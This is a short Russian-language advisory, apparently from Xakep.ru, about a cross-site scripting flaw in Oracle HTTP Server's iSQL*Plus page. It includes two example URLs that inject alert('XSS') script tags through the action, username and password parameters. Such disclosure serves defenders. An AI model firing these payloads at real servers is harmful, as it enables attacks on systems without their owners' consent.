Межсайтовый скриптинг в Oracle HTTP Server

Продукты «Хакера»

Ежеквартальный «Хакер» #3

Лучшие статьи квартала на бумаге

2 000 ₽
Заказать журнал
Годовая подписка на Xakep.ru

Полный доступ к статьям и архиву выпусков

6 000 ₽ в год
Подписаться
«Пентест WEB» для начинающих

Совместный курс «Хакера» и лаборатории «Хаксет»

7 000 ₽
Купить курс
Спецвыпуск «Хакера» #4

Лучшие статьи за 2021–2022 годы на бумаге

2 000 ₽
Заказать журнал

Рекомендуем почитать:

Хакер #327. Doom.ttf

Программа: Oracle HTTP Based on Apache 1.3.22

Уязвимость в проверке правильности входных данных обнаружена в Oracle HTTP Server. Удаленный пользователь может выполнить XSS нападение.

Пример:

http://[target]/isqlplus? action=logon&username=sdfds%22%
3e%3cscript%3ealert ('XSS')%3c/script%3e\&password=dsfsd%3cscript%3 ealert('XSS')%3c/script%3e

http://[target]/isqlplus?action=<script>alert('XSS')</script>

Продукты «Хакера»

Ежеквартальный «Хакер» #3

Годовая подписка на Xakep.ru

«Пентест WEB» для начинающих

Спецвыпуск «Хакера» #4

Хакер #327. Doom.ttf

Подпишись на наc в Telegram!